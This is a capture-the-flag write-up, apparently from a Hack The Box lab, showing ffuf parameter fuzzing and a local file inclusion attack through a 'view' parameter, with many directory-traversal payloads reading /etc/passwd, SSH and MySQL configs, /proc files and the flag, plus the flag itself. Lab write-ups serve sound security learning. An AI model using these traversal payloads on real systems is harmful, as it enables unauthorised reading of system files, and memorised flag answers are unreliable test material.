1. Fuzz the web application for exposed parameters, then try to exploit it with one of the LFI wordlists to read /flag.txt

```bash

ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u 'http://83.136.248.110:48936/index.php?FUZZ=khanh'

```

A screenshot of a computer

Description automatically generated

```bash

ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u 'http://83.136.248.110:48936/index.php?FUZZ=khanh' -fs 2309

```

A screenshot of a computer

Description automatically generated

A screenshot of a computer

Description automatically generated

```bash

ffuf -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -u 'http://83.136.248.110:48936/index.php?view=FUZZ' -fs 1935

```

A screenshot of a computer

Description automatically generated

```bash

<http://83.136.248.110:48936/index.php?view=../../../../../../../../../../../../../../../../../../../FUZZ/index.php>

```

A computer screen with white text

Description automatically generated

```bash

ffuf -w /usr/share/seclists/Discovery/Web-Content/default-web-root-directory-linux.txt -u 'http://83.136.248.110:48936/index.php?view=../../../../../../../../../../../../../../../../../../../FUZZ/index.php' -fs 1935

```

A computer screen shot of a computer

Description automatically generated

```bash

┌──(root㉿lyquockhanh)-[~]

└─# ffuf -w /root/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt -u 'http://83.136.248.110:48936/index.php?view=../../../../../../../../../../../../../../../../../../../FUZZ' -fs 1935

/'\_\_\_\ /'\_\_\_\ /'\_\_\_\

/\ \\_\_/ /\ \\_\_/ \_\_ \_\_ /\ \\_\_/

\ \ ,\_\_\\ \ ,\_\_\/\ \/\ \ \ \ ,\_\_\

\ \ \\_/ \ \ \\_/\ \ \\_\ \ \ \ \\_/

\ \\_\ \ \\_\ \ \\_\_\_\_/ \ \\_\

\/\_/ \/\_/ \/\_\_\_/ \/\_/

v2.1.0-dev

\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_

:: Method : GET

:: URL : http://83.136.248.110:48936/index.php?view=../../../../../../../../../../../../../../../../../../../FUZZ

:: Wordlist : FUZZ: /root/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt

:: Follow redirects : false

:: Calibration : false

:: Timeout : 10

:: Threads : 40

:: Matcher : Response status: 200-299,301,302,307,401,403,405,500

:: Filter : Response size: 1935

\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_

/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd [Status: 200, Size: 3309, Words: 526, Lines: 82, Duration: 301ms]

..%2F..%2F..%2F%2F..%2F..%2Fetc/passwd [Status: 200, Size: 3309, Words: 526, Lines: 82, Duration: 306ms]

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd [Status: 200, Size: 3309, Words: 526, Lines: 82, Duration: 305ms]

/etc/apache2/apache2.conf [Status: 200, Size: 9159, Words: 1456, Lines: 283, Duration: 284ms]

/etc/apt/sources.list [Status: 200, Size: 4678, Words: 795, Lines: 105, Duration: 293ms]

/etc/fstab [Status: 200, Size: 1972, Words: 520, Lines: 57, Duration: 291ms]

/etc/group [Status: 200, Size: 2546, Words: 515, Lines: 104, Duration: 288ms]

../../../../../../../../../../../../etc/hosts [Status: 200, Size: 2173, Words: 520, Lines: 64, Duration: 286ms]

/etc/hosts [Status: 200, Size: 2173, Words: 520, Lines: 64, Duration: 287ms]

/etc/hosts.deny [Status: 200, Size: 2646, Words: 642, Lines: 73, Duration: 286ms]

/etc/hosts.allow [Status: 200, Size: 2346, Words: 596, Lines: 66, Duration: 286ms]

/etc/issue [Status: 200, Size: 1961, Words: 519, Lines: 58, Duration: 301ms]

/etc/init.d/apache2 [Status: 200, Size: 10116, Words: 2014, Lines: 411, Duration: 301ms]

/etc/nsswitch.conf [Status: 200, Size: 2445, Words: 645, Lines: 76, Duration: 287ms]

/etc/mysql/my.cnf [Status: 200, Size: 2617, Words: 603, Lines: 77, Duration: 292ms]

/./././././././././././etc/passwd [Status: 200, Size: 3309, Words: 526, Lines: 82, Duration: 286ms]

/../../../../../../../../../../etc/passwd [Status: 200, Size: 3309, Words: 526, Lines: 82, Duration: 286ms]

/etc/passwd [Status: 200, Size: 3309, Words: 526, Lines: 82, Duration: 287ms]

../../../../../../../../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 3309, Words: 526, Lines: 82, Duration: 291ms]

../../../../../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 3309, Words: 526, Lines: 82, Duration: 283ms]

../../../../../../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 3309, Words: 526, Lines: 82, Duration: 292ms]

../../../../../../../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 3309, Words: 526, Lines: 82, Duration: 298ms]

../../../../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 3309, Words: 526, Lines: 82, Duration: 283ms]

../../../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 3309, Words: 526, Lines: 82, Duration: 294ms]

../../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 3309, Words: 526, Lines: 82, Duration: 302ms]

../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 3309, Words: 526, Lines: 82, Duration: 301ms]

../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 3309, Words: 526, Lines: 82, Duration: 294ms]

../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 3309, Words: 526, Lines: 82, Duration: 294ms]

../../../../../../../../../../../etc/passwd [Status: 200, Size: 3309, Words: 526, Lines: 82, Duration: 306ms]

../../../../../../../../etc/passwd [Status: 200, Size: 3309, Words: 526, Lines: 82, Duration: 306ms]

../../../../../../../etc/passwd [Status: 200, Size: 3309, Words: 526, Lines: 82, Duration: 307ms]

../../../../../../../../../etc/passwd [Status: 200, Size: 3309, Words: 526, Lines: 82, Duration: 307ms]

../../../../../../../../../../etc/passwd [Status: 200, Size: 3309, Words: 526, Lines: 82, Duration: 306ms]

../../../../../../../../../../../../etc/passwd [Status: 200, Size: 3309, Words: 526, Lines: 82, Duration: 307ms]

../../../../../etc/passwd [Status: 200, Size: 3309, Words: 526, Lines: 82, Duration: 305ms]

../../../../etc/passwd [Status: 200, Size: 3309, Words: 526, Lines: 82, Duration: 305ms]

../../../../../../etc/passwd [Status: 200, Size: 3309, Words: 526, Lines: 82, Duration: 306ms]

../../../etc/passwd [Status: 200, Size: 3309, Words: 526, Lines: 82, Duration: 305ms]

../../etc/passwd [Status: 200, Size: 3309, Words: 526, Lines: 82, Duration: 284ms]

../etc/passwd [Status: 200, Size: 3309, Words: 526, Lines: 82, Duration: 283ms]

etc/passwd [Status: 200, Size: 3309, Words: 526, Lines: 82, Duration: 285ms]

../../../../../../etc/passwd&=%3C%3C%3C%3C [Status: 200, Size: 3309, Words: 526, Lines: 82, Duration: 309ms]

/etc/resolv.conf [Status: 200, Size: 2041, Words: 520, Lines: 59, Duration: 285ms]

/etc/rpc [Status: 200, Size: 2822, Words: 550, Lines: 96, Duration: 285ms]

/etc/ssh/sshd\_config [Status: 200, Size: 5224, Words: 808, Lines: 179, Duration: 303ms]

/proc/cpuinfo [Status: 200, Size: 6623, Words: 1091, Lines: 168, Duration: 300ms]

/proc/loadavg [Status: 200, Size: 1960, Words: 519, Lines: 57, Duration: 300ms]

/proc/interrupts [Status: 200, Size: 5445, Words: 2433, Lines: 100, Duration: 300ms]

/proc/meminfo [Status: 200, Size: 3438, Words: 1026, Lines: 110, Duration: 294ms]

/proc/net/arp [Status: 200, Size: 2091, Words: 589, Lines: 58, Duration: 291ms]

/proc/mounts [Status: 200, Size: 4735, Words: 625, Lines: 78, Duration: 310ms]

/proc/net/dev [Status: 200, Size: 2382, Words: 757, Lines: 60, Duration: 306ms]

/proc/net/tcp [Status: 200, Size: 2085, Words: 587, Lines: 57, Duration: 308ms]

/proc/net/route [Status: 200, Size: 2319, Words: 729, Lines: 59, Duration: 322ms]

/proc/partitions [Status: 200, Size: 2052, Words: 561, Lines: 61, Duration: 303ms]

/proc/self/cmdline [Status: 200, Size: 1967, Words: 515, Lines: 56, Duration: 304ms]

/proc/version [Status: 200, Size: 2123, Words: 535, Lines: 57, Duration: 285ms]

/proc/self/status [Status: 200, Size: 3343, Words: 608, Lines: 113, Duration: 285ms]

/var/log/lastlog [Status: 200, Size: 294227, Words: 515, Lines: 56, Duration: 288ms]

///////../../../etc/passwd [Status: 200, Size: 3309, Words: 526, Lines: 82, Duration: 299ms]

:: Progress: [929/929] :: Job [1/1] :: 130 req/sec :: Duration: [0:00:07] :: Errors: 0 ::

```

```bash

/index.php?view=../../../../../../../../../../../../../../../../../../../flag.txt

```

A screenshot of a computer

Description automatically generated

P/s: HTB{4u70m47!0n\_f!nd5\_#!dd3n\_93m5}